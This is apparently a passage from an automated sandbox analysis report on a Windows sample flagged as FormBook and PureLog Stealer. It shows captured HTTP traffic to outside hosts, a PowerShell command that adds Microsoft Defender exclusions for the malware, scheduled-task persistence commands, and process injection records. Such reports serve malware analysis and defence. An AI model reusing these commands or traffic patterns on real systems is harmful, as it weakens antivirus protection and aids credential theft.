74 32 53 33 51 6e 72 55 68 45 6a 6b 30 33 58 4a 39 64 76 56 54 38 68 70 70 52 65 2f 63 54 65 64 78 55 32 42 68 57 34 71 48 56 4f 78 42 70 56 56 66 30 34 42 64 2f 50 4e 5a 66 47 63 4b 6d 77 43 32 37 54 51 34 55 4a 6b 56 49 79 54 64 50 36 35 75 79 56 56 6d 56 34 61 65 53 32 34 6f 67 36 58 55 52 70 68 65 78 77 4e 6e 73 63 75 30 46 41 4f 57 4e 52 34 37 32 4b 56 68 43 6a 41 61 50 34 30 30 30 37 37 6c 51 54 71 58 66 65 53 61 52 4c 4f 4a 6a 6f 34 [TRUNCATED] Data Ascii: QhKxhNP=lRSHw64n+8PjLeev15OfssEKiZxmXVf1N2X2yBdlyqjpAAN3iqnsTMbhYCeRnigoJ3+KQhkUF71Gqdl7McocbXg2M+LYQWsr84jgXOc/PLIkUA61JRNjs2bm/pnf2+QCkuLWcSshEu/cSyYMUNTjTTogsZ/VASDMKeqYVjLSXC8H6tdT8fgFjpt2S3QnrUhEjk03XJ9dvVT8hppRe/cTedxU2BhW4qHVOxBpVVf04Bd/PNZfGcKmwC27TQ4UJkVIyTdP65uyVVmV4aeS24og6XURphexwNnscu0FAOWNR472KVhCjAaP400077lQTqXfeSaRLOJjo46v9EBzWO5BJ4NNfuYxA9CAq6HJF1rQnIZOq0vOlTDqpltzp8fL4Er4Vok7CNpPQbCvZi35J9lRLfpmX4q4uigniXOrGxpoHshgXIKZpfwXep/8WremgQ1yfSiJ0xmRcTd2Wu7901wfLjVeMfyVcWiVFIx9dWtSkriE9Ubu9mGkY86WjrIkOtta9omXVpedZLoC40cSYAyoXOeX2bbzMVju3v5Ve/Ve+xWTFiSNcBFxzvqsL+MubAH9xfPwnHwzOtU9kNG+PfPzRnY15dXvARBmGHKzhF6rgEQ+iOaUTornQ/4htmlj+sIGy1enxhb/stX5sNRGBhEGhpSTyZWFCOW87OcsrSxcjcIBjWWmI33NF7zk30J7H2UBetnwPdGhS+gxKaGjc8w1ZnhicTdQ6hZAlhwjoHb98lj4nCRQG4eOAkRgD1fnTy/A7HX00iGefba+kczuya/iJWjC/hNVsXh5lPUEnqAI5vF8WdJYI7+0TuzD6G2gkrlDdPSqJUIhqFBKQP9bP6NkrTsZVu7GZQJkS+v7k9xtxeQIdbcd8iS5OtxM79qkIhOCrSD2Ag0+CTX8zWjargVefS5+R8fKYMuiXMv6fPUqK3erzBr8WLd8n6ZviPtVk0T5buqLUGvYGP7fNjrUPCdM8R6PPiY/iqsSWATxjfEPkC8z [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50030	75.2.103.23	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:17:03.241503000 CET	550	OUT	GET /4ia5/?Yby=d2ydCtHpb8&QhKxhNP=oT6nzMsk5LGNbZnpqYupld8IqKtrWX3IcFzU22s19J/vOzFqssjWYMTSR1XNlBsCMk+VGX4Yc+V3gPgjU/YcbzdAUc79Tjp71o7bTfkvAIZVHxyoJSYvjU3Ey8bm4rBe7Q== HTTP/1.1 Host: www.innovationpulse.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:17:04.372782946 CET	410	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 28 Nov 2024 08:17:04 GMT Content-Type: text/html Content-Length: 270 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 59 62 79 3d 64 32 79 64 43 74 48 70 62 38 26 51 68 4b 78 68 4e 50 3d 6f 54 36 6e 7a 4d 73 6b 35 4c 47 4e 62 5a 6e 70 71 59 75 70 6c 64 38 49 71 4b 74 72 57 58 33 49 63 46 7a 55 32 32 73 31 39 4a 2f 76 4f 7a 46 71 73 73 6a 57 59 4d 54 53 52 31 58 4e 6c 42 73 43 4d 6b 2b 56 47 58 34 59 63 2b 56 33 67 50 67 6a 55 2f 59 63 62 7a 64 41 55 63 37 39 54 6a 70 37 31 6f 37 62 54 66 6b 76 41 49 5a 56 48 78 79 6f 4a 53 59 76 6a 55 33 45 79 38 62 6d 34 72 42 65 37 51 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Yby=d2ydCtHpb8&QhKxhNP=oT6nzMsk5LGNbZnpqYupld8IqKtrWX3IcFzU22s19J/vOzFqssjWYMTSR1XNlBsCMk+VGX4Yc+V3gPgjU/YcbzdAUc79Tjp71o7bTfkvAIZVHxyoJSYvjU3Ey8bm4rBe7Q=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50031	13.248.169.48	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:17:10.467845917 CET	793	OUT	POST /tur7/ HTTP/1.1 Host: www.hasan.cloud Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.hasan.cloud Referer: http://www.hasan.cloud/tur7/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 64 4e 74 59 30 45 4b 5a 4e 39 4d 64 63 59 73 62 42 30 57 2f 72 6e 43 70 53 35 35 66 64 58 48 62 42 65 65 52 43 51 4c 6c 79 54 64 79 6e 31 41 66 5a 32 6a 6d 75 75 36 52 35 69 45 4b 74 56 53 6a 65 31 35 46 62 42 52 48 51 76 35 73 61 65 2f 79 6d 6c 6c 52 76 73 55 6a 39 52 42 73 47 66 76 64 52 67 66 78 34 63 48 79 37 63 73 31 46 30 30 44 62 6d 4f 50 36 57 53 52 59 36 58 44 31 44 6a 57 35 6b 51 30 33 4d 33 41 79 6b 36 2f 75 37 49 38 74 68 58 33 53 34 37 36 61 41 51 35 4f 36 66 4f 56 54 48 35 35 67 30 4f 6d 42 62 41 4c 72 64 72 4c 4a 44 4e 66 54 76 71 6b 58 7a 70 38 39 4a 33 4d 4d 61 2b 61 72 67 3d Data Ascii: QhKxhNP=dNtY0EKZN9MdcYsbB0W/rnCpS55fdXHbBeeRCQLlyTdyn1AfZ2jmuu6R5iEKtVSje15FbBRHQv5sae/ymllRvsUj9RBsGfvdRgfx4cHy7cs1F00DbmOP6WSRY6XD1DjW5kQ03M3Ayk6/u7I8thX3S476aAQ5O6fOVTH55g0OmBbALrdrLJDNfTvqkXzp89J3MMa+arg=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	50032	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:17:13.527771950 CET	813	OUT	POST /tur7/ HTTP/1.1 Host: www.hasan.cloud Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.hasan.cloud Referer: http://www.hasan.cloud/tur7/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 64 4e 74 59 30 45 4b 5a 4e 39 4d 64 64 35 63 62 44 54 36 2f 74 48 43 71 52 35 35 66 55 33 48 66 42 65 61 52 43 52 50 50 79 46 4e 79 6d 52 4d 66 59 30 4c 6d 70 75 36 52 74 53 45 4c 67 31 53 53 65 31 30 79 62 42 64 48 51 76 74 73 61 63 58 79 6d 32 4e 53 75 38 55 6c 6f 42 42 75 49 2f 76 64 52 67 66 78 34 63 54 4d 37 61 45 31 46 46 45 44 4a 58 4f 4f 77 32 54 6a 52 61 58 44 78 44 6a 53 35 6b 51 73 33 4f 53 6c 79 6d 79 2f 75 36 34 38 74 56 44 30 4a 49 37 38 48 77 52 35 4e 34 57 72 62 31 66 4b 6d 52 56 78 31 43 2f 2b 4b 64 73 42 52 72 4c 6c 4d 7a 44 53 30 45 37 65 74 4e 6f 65 57 76 4b 4f 45 38 30 2f 43 79 56 4c 79 58 2b 63 6b 38 4c 73 59 58 55 73 58 36 66 37 Data Ascii: QhKxhNP=dNtY0EKZN9Mdd5cbDT6/tHCqR55fU3HfBeaRCRPPyFNymRMfY0Lmpu6RtSELg1SSe10ybBdHQvtsacXym2NSu8UloBBuI/vdRgfx4cTM7aE1FFEDJXOOw2TjRaXDxDjS5kQs3OSlymy/u648tVD0JI78HwR5N4Wrb1fKmRVx1C/+KdsBRrLlMzDS0E7etNoeWvKOE80/CyVLyX+ck8LsYXUsX6f7

Target ID:	0
Start time:	03:13:05
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\Documents.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Documents.exe"
Imagebase:	0xee0000
File size:	929'800 bytes
MD5 hash:	0C0B6ED60E0309998DA4AE71469F1D84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2156644192.0000000004359000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2160027953.0000000005BD0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	03:13:13
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Documents.exe"
Imagebase:	0x850000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	03:13:13
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	03:13:13
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\uFEeKIucsX.exe"
Imagebase:	0x850000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	03:13:13
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	03:13:13
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uFEeKIucsX" /XML "C:\Users\user\AppData\Local\Temp\tmp2505.tmp"
Imagebase:	0xda0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	03:13:13
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	03:13:14
Start date:	28/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xa60000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2339787064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2340363739.0000000001450000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2342055723.00000000019E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	03:13:14
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Roaming\uFEeKIucsX.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\uFEeKIucsX.exe
Imagebase:	0x620000
File size:	929'800 bytes
MD5 hash:	0C0B6ED60E0309998DA4AE71469F1D84
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 24%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	11
Start time:	03:13:16
Start date:	28/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	03:13:24
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uFEeKIucsX" /XML "C:\Users\user\AppData\Local\Temp\tmp4E47.tmp"
Imagebase:	0xda0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	03:13:24
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	15
Start time:	03:13:24
Start date:	28/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x710000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	16
Start time:	03:13:28
Start date:	28/11/2024
Path:	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe"
Imagebase:	0xe20000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.4500549685.0000000002670000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Has exited:	false

Target ID:	17
Start time:	03:13:29
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\systray.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\systray.exe"
Imagebase:	0x9f0000
File size:	9'728 bytes
MD5 hash:	28D565BB24D30E5E3DE8AFF6900AF098
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000011.00000002.4500125760.00000000042A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000011.00000002.4498734635.0000000000600000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000011.00000002.4500198635.00000000042F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Target ID:	18
Start time:	03:13:43
Start date:	28/11/2024
Path:	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe"
Imagebase:	0xe20000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000012.00000002.4502147682.00000000050C0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Has exited:	false

Target ID:	20
Start time:	03:13:54
Start date:	28/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true